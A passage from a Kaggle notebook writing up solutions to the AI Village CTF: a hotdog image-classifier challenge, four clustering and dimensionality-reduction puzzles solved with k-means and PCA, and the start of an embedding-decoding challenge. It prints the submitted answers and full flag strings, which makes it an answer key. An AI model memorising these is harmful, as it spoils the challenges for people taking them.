{"metadata":{"kernelspec":{"language":"python","display_name":"Python 3","name":"python3"},"language_info":{"pygments_lexer":"ipython3","nbconvert_exporter":"python","version":"3.6.4","file_extension":".py","codemirror_mode":{"name":"ipython","version":3},"name":"python","mimetype":"text/x-python"}},"nbformat_minor":4,"nbformat":4,"cells":[{"cell_type":"raw","source":"","metadata":{}},{"cell_type":"markdown","source":"# CTF Template\n\nFirst and for most this CTF  was wounderfull experince so i wolud like to say thanks for all the CTF Team\n\n## the writup process\n\neach task will first  define the object , and then describe the solution method , and then will solve it and add refrence for extra learning , and finaly what we think the orginzer wanted  ( or the message that  was wanted from each task )\n\n","metadata":{}},{"cell_type":"code","source":"# We're just importing some stuff to make sure the challenges and helper code works.\n# Feel free to import anything else you need (or solve in a different language), but if you overwrite these, provided code may not work.\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom IPython.display import Image as Ima\nfrom IPython.display import clear_output, display\nfrom PIL import Image as Im\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport joblib\nimport matplotlib.pyplot as plt\nimport json\nimport base64\nimport shutil\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\ndir_name = \"/kaggle/input/ai-village-ctf\"\n\n# Input data files are available in the read-only \"../input/\" directory\n# You can write up to 20GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session","metadata":{"_uuid":"8f2839f25d086af736a60e9eeb907d3b93b6e0e5","_cell_guid":"b1076dfc-b9ad-4769-8c92-a6c4dae69d19","execution":{"iopub.status.busy":"2022-09-17T22:26:10.903622Z","iopub.execute_input":"2022-09-17T22:26:10.904087Z","iopub.status.idle":"2022-09-17T22:26:13.057460Z","shell.execute_reply.started":"2022-09-17T22:26:10.904039Z","shell.execute_reply":"2022-09-17T22:26:13.056138Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# A helper function for tracking flags. You could do it yourself, but why?\n\ndef add_flag(challenge_id: str, flag: str) -> str:\n    try:\n        submission_path = \"/kaggle/working/submission.csv\"\n        template_path = f\"{dir_name}/submission.csv\"\n        if not os.path.isfile(submission_path) :\n            shutil.copyfile(template_path, submission_path)\n        flags = pd.read_csv(submission_path, index_col=\"challenge_id\")\n        valid = flags.index.to_list()\n        if challenge_id in valid:\n            flags.at[challenge_id] = flag\n            flags.to_csv(submission_path)\n            print(\"Flag saved. If you want to update the scoreboard, click 'submit' on the right. Remember that you can only update your score on the scoreboard 50 times per day\")\n        else:\n            print(\"Invalid challenge_id\")\n    except:\n        print(\"We had trouble saving that flag. Keep a copy of it and contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-17T22:26:13.059261Z","iopub.execute_input":"2022-09-17T22:26:13.059925Z","iopub.status.idle":"2022-09-17T22:26:13.070361Z","shell.execute_reply.started":"2022-09-17T22:26:13.059893Z","shell.execute_reply":"2022-09-17T22:26:13.068770Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# HOTDOG (id: hotdog) -- 200 Points\n\n### Scenario\n\nThis is Chester. He's heard of Hotdog/Not Hotdog, but really wants to be classified as a hot-dog (get it?).\n\n### Objective\n\nHelp Chester classify as a hotdog.\n\n### Solution\nthink about it a gate  with no guarden ?? simply coz no gardain in the gate ( nothing to interapte the input  .. my solution was just to give it a real hotdog image\n\ni dont think we need to go for refrence here but the message\n( dont trust user input allways you must have extra checks )\n","metadata":{}},{"cell_type":"code","source":"Ima('../input/hot-dog-not-hot-dog/train/hot_dog/1115020.jpg')","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:32.574553Z","iopub.execute_input":"2022-09-14T09:11:32.574971Z","iopub.status.idle":"2022-09-14T09:11:32.599535Z","shell.execute_reply.started":"2022-09-14T09:11:32.574937Z","shell.execute_reply":"2022-09-14T09:11:32.598617Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nIMAGE_DIMS = (224, 224)\n\n#img = Im.open(f\"{dir_name}/hotdog/chester.png\")\nimg = Im.open('../input/hot-dog-not-hot-dog/train/hot_dog/1115020.jpg')\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ntry:\n    r = requests.post(\"https://hotdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:32.795426Z","iopub.execute_input":"2022-09-14T09:11:32.796139Z","iopub.status.idle":"2022-09-14T09:11:34.129295Z","shell.execute_reply.started":"2022-09-14T09:11:32.796095Z","shell.execute_reply":"2022-09-14T09:11:34.127998Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"hotdog\", \"4ZOL09VTOMLS3W}83MA55S04FNXNJGYVP4LOAS15SLY2LSCWVOPH6L55DT1ES2RSG2OOBKCWK7OHY6C95G4RFOZFMNDG3O0YXB2AT15GTDDWGA65Z40HWY4ICWZ{BOK9\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:34.131752Z","iopub.execute_input":"2022-09-14T09:11:34.132097Z","iopub.status.idle":"2022-09-14T09:11:34.164179Z","shell.execute_reply.started":"2022-09-14T09:11:34.132064Z","shell.execute_reply":"2022-09-14T09:11:34.162994Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math\n\nThis series of \"Math\" challenges is designed to introduce the concepts of dimensionality.\n\nData is often represented in a high dimensional space, but is actually several intrinsically low dimensional components that can be diagnosed. Intrinsic low-dimensionailty is incredibly important to machine learning because many ML algorithms rely on it. Medical EKG data is as single intrinsically 2 dimensional component, despite often being represented as 100 dimensions or more. The classic MNIST dataset is several components of 8-10 dimensions, depending on the digits class, despite being represented in 784 dimensions. The 4 math challenges are focused on this problem. **If you need a hint, ask Sven at the Art Booth.**","metadata":{}},{"cell_type":"markdown","source":"# Math Challenge 1 (id: math_1) -- 100 Points\n\nHow many clusters are in the clusters1.npy, clusters2.npy, and clusters3.npy? The key is the number of clusters in order, with no spaces. These files are available in the input directory under `math`.\n\n\n# Solution\n## define clustring :- Cluster analysis or clustering is the task of grouping a set of objects in such a way that objects in the same group (called a cluster) are more similar\n\nin clustring getting the right size is allways  about vizulaztion if possible\none of method is Using the elbow method to find out the optimal number of #clusters.\nexplore the data , do elbow  and find best numbers \n\nWhat the team want out from this ( just to make sure we understand  diminoslty reduction , clustring ) when you try to detect anomalies it mostly you will do clustring and vizulaztion to detect anomalies\n\n## ref\nhttps://www.scikit-yb.org/en/latest/api/cluster/elbow.html#:~:text=The%20elbow%20method%20runs%20k,point%20to%20its%20assigned%20center.\n\nhttps://www.geeksforgeeks.org/elbow-method-for-optimal-value-of-k-in-kmeans/","metadata":{}},{"cell_type":"code","source":"#3 Using the elbow method to find out the optimal number of #clusters. \n#KMeans class from the sklearn library.\nfrom sklearn.cluster import KMeans\ndef clustering(fm):\n    tmpo = np.load(fm)\n    wcss=[]\n    #this loop will fit the k-means algorithm to our data and \n    #second we will compute the within cluster sum of squares and #appended to our wcss list.\n    for i in range(1,11): \n         kmeans = KMeans(n_clusters=i, init ='k-means++', max_iter=300,  n_init=10,random_state=0 )\n         #i above is between 1-10 numbers. init parameter is the random #initialization method  \n         #we select kmeans++ method. max_iter parameter the maximum number of iterations there can be to \n         #find the final clusters when the K-meands algorithm is running. we #enter the default value of 300\n         #the next parameter is n_init which is the number of times the #K_means algorithm will be run with\n         #different initial centroid.\n         kmeans.fit(tmpo)\n         #kmeans algorithm fits to the X dataset\n         wcss.append(kmeans.inertia_)\n         #kmeans inertia_ attribute is:  Sum of squared distances of samples #to their closest cluster center.\n         #4.Plot the elbow graph\n    return wcss\n\n\n \n","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:36.100058Z","iopub.execute_input":"2022-09-14T09:11:36.100475Z","iopub.status.idle":"2022-09-14T09:11:36.775314Z","shell.execute_reply.started":"2022-09-14T09:11:36.100441Z","shell.execute_reply":"2022-09-14T09:11:36.774004Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"wcss =   clustering('../input/ai-village-ctf/math/clusters1.npy' )\nplt.plot(range(1,11),wcss ,  'bx-')\nplt.title('The Elbow Method Graph class one')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show() ","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:36.778732Z","iopub.execute_input":"2022-09-14T09:11:36.779214Z","iopub.status.idle":"2022-09-14T09:11:37.374840Z","shell.execute_reply.started":"2022-09-14T09:11:36.779179Z","shell.execute_reply":"2022-09-14T09:11:37.373546Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"wcss =   clustering('../input/ai-village-ctf/math/clusters2.npy' )\nplt.plot(range(1,11),wcss ,  'bx-')\nplt.title('The Elbow Method Graph cluster 2 ')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show() ","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:37.578892Z","iopub.execute_input":"2022-09-14T09:11:37.579391Z","iopub.status.idle":"2022-09-14T09:11:37.999609Z","shell.execute_reply.started":"2022-09-14T09:11:37.579348Z","shell.execute_reply":"2022-09-14T09:11:37.998333Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"wcss =   clustering('../input/ai-village-ctf/math/clusters3.npy' )\nplt.plot(range(1,11),wcss ,  'bx-')\nplt.title('The Elbow Method Graph cluster 3')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show() ","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:38.001540Z","iopub.execute_input":"2022-09-14T09:11:38.002049Z","iopub.status.idle":"2022-09-14T09:11:38.374294Z","shell.execute_reply.started":"2022-09-14T09:11:38.002016Z","shell.execute_reply":"2022-09-14T09:11:38.373033Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_1\", \"submission\": \"523\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:38.538051Z","iopub.execute_input":"2022-09-14T09:11:38.539029Z","iopub.status.idle":"2022-09-14T09:11:39.198355Z","shell.execute_reply.started":"2022-09-14T09:11:38.538986Z","shell.execute_reply":"2022-09-14T09:11:39.197055Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_1\", \"0YI5ZFWM864M2SP5C8WXDJ1ANEZ{TLDCZ87DZF572XU5YCR9O50LB34OBTHOPO6D}Q51TG0MPFXDCT3NIX0MRDFG1X94D79GPPAZBX0KYZ9FX0TXH1XXJHI11WA0XET2\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:39.498574Z","iopub.execute_input":"2022-09-14T09:11:39.499046Z","iopub.status.idle":"2022-09-14T09:11:39.512683Z","shell.execute_reply.started":"2022-09-14T09:11:39.499010Z","shell.execute_reply":"2022-09-14T09:11:39.511505Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 2 (id: math_2) -- 200 Points\n\nWhat's the dimensionality of the data in first_dim1.npy, first_dim2.npy, and first_dim3.npy? The key is the number of dimensions in order, with no spaces.  These files are available in the input directory under `math`.\n\n\n# Solution\n\nat first look you may say that we can print data shape and get the dim\nbut here  the point is to introduce diminsionlty reduction to you  so it can help you in next tasks , as not all data can be easly vizulized doing diminsionlty reduction can help us a lot while keep importnet feature\n\nDimensionality reduction refers to techniques that reduce the number of input variables in a dataset.\n\nMore input features often make a predictive modeling task more challenging to model, more generally referred to as the curse of dimensionality.\n\nHigh-dimensionality statistics and dimensionality reduction techniques are often used for data visualization. Nevertheless these techniques can be used in applied machine learning to simplify a classification or regression dataset in order to better fit a predictive model.\n\nthe orginizers wanted to introudce foundation of  dimionlslty reduction here so all will be on same page\n\n## Ref\nhttps://neptune.ai/blog/dimensionality-reduction\n\nhttps://machinelearningmastery.com/dimensionality-reduction-for-machine-learning/\n\nhttps://scikit-learn.org/stable/modules/generated/sklearn.decomposition.PCA.html\n","metadata":{}},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import numpy as np\nfrom sklearn.decomposition import PCA\ndef get_mydim(f):\n    X = np.load(f)\n    pca = PCA(n_components='mle')\n    d_out =  pca.fit_transform(X)\n    return d_out","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:41.628800Z","iopub.execute_input":"2022-09-14T09:11:41.629821Z","iopub.status.idle":"2022-09-14T09:11:41.636752Z","shell.execute_reply.started":"2022-09-14T09:11:41.629775Z","shell.execute_reply":"2022-09-14T09:11:41.635222Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(get_mydim('../input/ai-village-ctf/math/first_dim1.npy').shape)\nprint(get_mydim('../input/ai-village-ctf/math/first_dim2.npy').shape)\nprint(get_mydim('../input/ai-village-ctf/math/first_dim3.npy').shape)","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:42.356739Z","iopub.execute_input":"2022-09-14T09:11:42.357479Z","iopub.status.idle":"2022-09-14T09:11:42.388901Z","shell.execute_reply.started":"2022-09-14T09:11:42.357436Z","shell.execute_reply":"2022-09-14T09:11:42.388069Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_2\", \"submission\": \"354\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:43.011475Z","iopub.execute_input":"2022-09-14T09:11:43.012206Z","iopub.status.idle":"2022-09-14T09:11:43.652930Z","shell.execute_reply.started":"2022-09-14T09:11:43.012166Z","shell.execute_reply":"2022-09-14T09:11:43.651943Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_2\", \"PQWP7CG1494IP9TNU5Q1UT8M5L}ECILDS13ECBOB83T00998BJTLKJ6IAAZMQTEBAK7MNTY470FC8R7UY2RFZLNHTVZHBLW3ANNT6ZJM3U3B4B54V{6VZOLKAUBR1STF\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:43.809692Z","iopub.execute_input":"2022-09-14T09:11:43.810198Z","iopub.status.idle":"2022-09-14T09:11:43.822211Z","shell.execute_reply.started":"2022-09-14T09:11:43.810161Z","shell.execute_reply":"2022-09-14T09:11:43.820946Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 3 (id: math_3) -- 300 Points\n\nWhat's the dimensionality of the data in second_dim1.npy, second_dim2.npy, and second_dim3.npy? The key is the number of the dimensionality in order, with no spaces.  These files are available in the input directory under `math`.\n\n# Solution\n\nnow that is repeating math_1 but harder cluster descion .. elbow methid here to save us","metadata":{}},{"cell_type":"code","source":"wcss =   clustering('../input/ai-village-ctf/math/second_dim1.npy' )\nplt.plot(range(1,11),wcss ,  'bx-')\nplt.title('The Elbow Method Graph cluster 1')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show() ","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:46.122214Z","iopub.execute_input":"2022-09-14T09:11:46.122650Z","iopub.status.idle":"2022-09-14T09:11:46.474853Z","shell.execute_reply.started":"2022-09-14T09:11:46.122614Z","shell.execute_reply":"2022-09-14T09:11:46.473412Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"wcss =   clustering('../input/ai-village-ctf/math/second_dim2.npy' )\nplt.plot(range(1,11),wcss ,  'bx-')\nplt.title('The Elbow Method Graph cluster 2')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show() ","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:46.876485Z","iopub.execute_input":"2022-09-14T09:11:46.876888Z","iopub.status.idle":"2022-09-14T09:11:47.423846Z","shell.execute_reply.started":"2022-09-14T09:11:46.876856Z","shell.execute_reply":"2022-09-14T09:11:47.422635Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"wcss =   clustering('../input/ai-village-ctf/math/second_dim3.npy' )\nplt.plot(range(1,11),wcss ,  'bx-')\nplt.title('The Elbow Method Graph cluster 3')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show() ","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:47.957070Z","iopub.execute_input":"2022-09-14T09:11:47.957597Z","iopub.status.idle":"2022-09-14T09:11:48.325541Z","shell.execute_reply.started":"2022-09-14T09:11:47.957558Z","shell.execute_reply":"2022-09-14T09:11:48.324659Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_3\", \"submission\": \"474\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:48.686812Z","iopub.execute_input":"2022-09-14T09:11:48.687656Z","iopub.status.idle":"2022-09-14T09:11:49.341702Z","shell.execute_reply.started":"2022-09-14T09:11:48.687613Z","shell.execute_reply":"2022-09-14T09:11:49.340660Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_3\", \"LVD9LQFC0HNXAAFLSMZ2C8AO1}{SOSJDRTMY6WRUQL29LDC27XM3OJKS87D136FJ9EECKTD8PNC_LYZ6GV88AO4I97AM8XBAG1QDRTTNXJ0MKGKG5PG8DT2ESITMEH5U\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:49.431403Z","iopub.execute_input":"2022-09-14T09:11:49.432284Z","iopub.status.idle":"2022-09-14T09:11:49.443742Z","shell.execute_reply.started":"2022-09-14T09:11:49.432216Z","shell.execute_reply":"2022-09-14T09:11:49.442636Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Math Challenge 4 (id: math_4) -- 400 Points\n\nWhat's the dimensionality of the clusters in clusters1.npy? The key is the dimensions ordered by cluster size (smallest to largest), with no spaces.  These files are available in the input directory under `math`.\n\n\n# solution\nas it suggested order the dim by cluzter size\nthe idea is first we need to reduce the data dim correclty , than  find clusters sizes and finaly report back\nso it combine both math_1 and math _2\nso we first find best cluster size\nthen for each cluster we get dim by try to reduce it to best fit and then order the resulted dim by size of each  (which is number of members in that cluster )\nbut it have more  for us  it teach us how to do clustring in real life , how to work with high dim data to analysis for anomaly \n\n## Ref\nhttps://towardsdatascience.com/k-means-clustering-and-principal-component-analysis-in-10-minutes-2c5b69c36b6b\n\nhttps://www.researchgate.net/publication/349368388_An_email_content-based_insider_threat_detection_model_using_anomaly_detection_algorithms/figures?lo=1\n\nhttps://www.kaggle.com/code/kooose/anomaly-detection-by-clustering","metadata":{}},{"cell_type":"code","source":"#3 Using the elbow method to find out the optimal number of #clusters. \n#KMeans class from the sklearn library.\nfrom sklearn.cluster import KMeans\ndef reduce_cluster(fm):\n    tmpo = get_mydim(fm)\n    wcss=[]\n    #this loop will fit the k-means algorithm to our data and \n    #second we will compute the within cluster sum of squares and #appended to our wcss list.\n    for i in range(1,11): \n         kmeans = KMeans(n_clusters=i, init ='k-means++', max_iter=300,  n_init=10,random_state=0 )\n         #i above is between 1-10 numbers. init parameter is the random #initialization method  \n         #we select kmeans++ method. max_iter parameter the maximum number of iterations there can be to \n         #find the final clusters when the K-meands algorithm is running. we #enter the default value of 300\n         #the next parameter is n_init which is the number of times the #K_means algorithm will be run with\n         #different initial centroid.\n         kmeans.fit(tmpo)\n         #kmeans algorithm fits to the X dataset\n         wcss.append(kmeans.inertia_)\n         #kmeans inertia_ attribute is:  Sum of squared distances of samples #to their closest cluster center.\n         #4.Plot the elbow graph\n    return wcss\n","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:51.172260Z","iopub.execute_input":"2022-09-14T09:11:51.173196Z","iopub.status.idle":"2022-09-14T09:11:51.181807Z","shell.execute_reply.started":"2022-09-14T09:11:51.173145Z","shell.execute_reply":"2022-09-14T09:11:51.180469Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"ff = '../input/ai-village-ctf/math/clusters1.npy'\n\nwcss =   reduce_cluster(ff)\nplt.plot(range(1,11),wcss ,  'bx-')\nplt.title('The Elbow Method Graph')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show() ","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:51.820441Z","iopub.execute_input":"2022-09-14T09:11:51.820941Z","iopub.status.idle":"2022-09-14T09:11:52.210011Z","shell.execute_reply.started":"2022-09-14T09:11:51.820902Z","shell.execute_reply":"2022-09-14T09:11:52.209157Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#from above we have 5 clusters , lets start do the main work\nff = '../input/ai-village-ctf/math/clusters1.npy'\nfrom sklearn.decomposition import PCA\n\nfrom sklearn.cluster import KMeans\nimport numpy as np\nX = np.load(ff)\npca = PCA(n_components=17 )\ndfdd = pca.fit_transform(X)\nkmeans = KMeans(n_clusters=5,  init ='k-means++', max_iter=300,  n_init=10,random_state=0 ).fit(dfdd)\nlabel = kmeans.fit_predict(dfdd)\nu_labels = np.unique(label)","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:52.857484Z","iopub.execute_input":"2022-09-14T09:11:52.858398Z","iopub.status.idle":"2022-09-14T09:11:52.904614Z","shell.execute_reply.started":"2022-09-14T09:11:52.858341Z","shell.execute_reply":"2022-09-14T09:11:52.903626Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"pca = PCA(n_components='mle')\nd_out =  pca.fit_transform(dfdd[label == 0])\nd_out.shape\n","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:53.560718Z","iopub.execute_input":"2022-09-14T09:11:53.561216Z","iopub.status.idle":"2022-09-14T09:11:53.571253Z","shell.execute_reply.started":"2022-09-14T09:11:53.561177Z","shell.execute_reply":"2022-09-14T09:11:53.569987Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"pca = PCA( n_components='mle')\nd_out =  pca.fit_transform(dfdd[label == 1])\nd_out.shape\n","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:54.081461Z","iopub.execute_input":"2022-09-14T09:11:54.082747Z","iopub.status.idle":"2022-09-14T09:11:54.093467Z","shell.execute_reply.started":"2022-09-14T09:11:54.082693Z","shell.execute_reply":"2022-09-14T09:11:54.092178Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"pca = PCA( n_components='mle')\nd_out =  pca.fit_transform(dfdd[label == 2])\nd_out.shape\n","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:54.836895Z","iopub.execute_input":"2022-09-14T09:11:54.837651Z","iopub.status.idle":"2022-09-14T09:11:54.847373Z","shell.execute_reply.started":"2022-09-14T09:11:54.837613Z","shell.execute_reply":"2022-09-14T09:11:54.846036Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"pca = PCA( n_components='mle')\nd_out =  pca.fit_transform(dfdd[label == 3])\nd_out.shape\n","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:55.548223Z","iopub.execute_input":"2022-09-14T09:11:55.549334Z","iopub.status.idle":"2022-09-14T09:11:55.566184Z","shell.execute_reply.started":"2022-09-14T09:11:55.549162Z","shell.execute_reply":"2022-09-14T09:11:55.564215Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"pca = PCA(  n_components='mle' )\nd_out =  pca.fit_transform(dfdd[label == 4])\nd_out.shape","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:56.428571Z","iopub.execute_input":"2022-09-14T09:11:56.429975Z","iopub.status.idle":"2022-09-14T09:11:56.439775Z","shell.execute_reply.started":"2022-09-14T09:11:56.429927Z","shell.execute_reply":"2022-09-14T09:11:56.438522Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"math_4\", \"submission\": \"54312\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:11:57.529327Z","iopub.execute_input":"2022-09-14T09:11:57.529755Z","iopub.status.idle":"2022-09-14T09:11:58.183388Z","shell.execute_reply.started":"2022-09-14T09:11:57.529723Z","shell.execute_reply":"2022-09-14T09:11:58.181953Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"math_4\", \"O7Y0JYGE54QFNEM38DDKFF8W47PQL5WMBXN}DHH2S69DKNVLPQET8KII3EN4XE8EIUI4R6RI2UTP8IZ0N52R8204WP11IJULJMH{MW0SPDSKLLQP3A9O4H1VA3E8TBVC\")","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:12:00.451494Z","iopub.execute_input":"2022-09-14T09:12:00.452406Z","iopub.status.idle":"2022-09-14T09:12:00.465283Z","shell.execute_reply.started":"2022-09-14T09:12:00.452356Z","shell.execute_reply":"2022-09-14T09:12:00.463750Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WIFI (id: wifi) -- 200 Points\n\n### Scenario\n\nYou really need to check your email, unfortunately you don't know the password.  Fortunately, someone wrote it down.  Unfortunately, it's written down on a low-dimensional manifold embedded in a very high-dimensional space.  Check out the `wifi/Embedded characters.npz` file -- a list of tokens is given in the `tokens` key with their corresponding embeddings in the same order under the `embeddings` key -- and recover the password.\n\n### Objective\n\nThe password is your flag, like all others, it has the format `FLAG{something}`\n\n\n### Solution\n\nfirst they give us an embeding password , and the alphabet whcih is the tokens , also they mentioned that it was low dim and being  converted to higher dimision so we use our skill to reduce dimisionalty\n\nwe then start  trace the embeding from FLAG{ .... untile we get }\n\nso  first we reduce dim then we get the score for F , L , A , G {  , when we know the score of {  we can search for scores between score of {    and the score of }  where that is the target char we need\n\n","metadata":{}},{"cell_type":"code","source":"encoded =  np.load('../input/ai-village-ctf/wifi/Embedded_characters.npz')\nprint(encoded)\nd = dict(zip((k for k in encoded), (encoded[k] for k in encoded)))\nprint(d)","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:13:54.419027Z","iopub.execute_input":"2022-09-14T09:13:54.419942Z","iopub.status.idle":"2022-09-14T09:13:54.434465Z","shell.execute_reply.started":"2022-09-14T09:13:54.419896Z","shell.execute_reply":"2022-09-14T09:13:54.433386Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#lets reduce  it such that for each embeding we only have 1 value\nfrom numpy.random import RandomState\nimport matplotlib.pyplot as plt\nfrom matplotlib import ticker\n\n# unused but required import for doing 3d projections with matplotlib < 3.2\nimport mpl_toolkits.mplot3d  # noqa: F401\n\nfrom sklearn import manifold, datasets\nS_points = d['embeddings']\nmd_scaling = manifold.MDS(\n    n_components=1, max_iter=900, n_init=4,  random_state=99\n)\nout = md_scaling.fit_transform(S_points)","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:13:55.207578Z","iopub.execute_input":"2022-09-14T09:13:55.208218Z","iopub.status.idle":"2022-09-14T09:13:55.400496Z","shell.execute_reply.started":"2022-09-14T09:13:55.208171Z","shell.execute_reply":"2022-09-14T09:13:55.398879Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#let define our keyspace\n# also we know our string will end with }   as they mentioned the flag is FLAG{...}\nspace = '!!\"\"##$$%%&&\\'\\'(())**++,,--..//00112233445566778899::;;<<==>>??@@AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ[[\\\\\\\\]]^^__``aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~'\nspace[185]","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:13:56.077152Z","iopub.execute_input":"2022-09-14T09:13:56.077582Z","iopub.status.idle":"2022-09-14T09:13:56.085537Z","shell.execute_reply.started":"2022-09-14T09:13:56.077549Z","shell.execute_reply":"2022-09-14T09:13:56.084300Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#imagain it as we search by destance \nprint(space[74] , out[74] ,  space[75] , out[75] ,space[86] , \n      out[86] , space[87] , out[87] , space[64] , out[64] , space[65] , out[65] , \n     space[76] , out[76] , space[77] , out[77] , \n       space[180] , out[180] , space[181] , out[181] , \n      space[184] , out[184] , space[185] , out[185] , \n     )","metadata":{"execution":{"iopub.status.busy":"2022-09-14T09:13:56.688294Z","iopub.execute_input":"2022-09-14T09:13:56.689594Z","iopub.status.idle":"2022-09-14T09:13:56.699680Z","shell.execute_reply.started":"2022-09-14T09:13:56.689551Z","shell.execute_reply":"2022-09-14T09:13:56.698330Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# we will print values that lay between {  and }\nfor i in range(out.shape[0]):\n    #print(i)\n    #print(X_transformed[i][0])\n    if 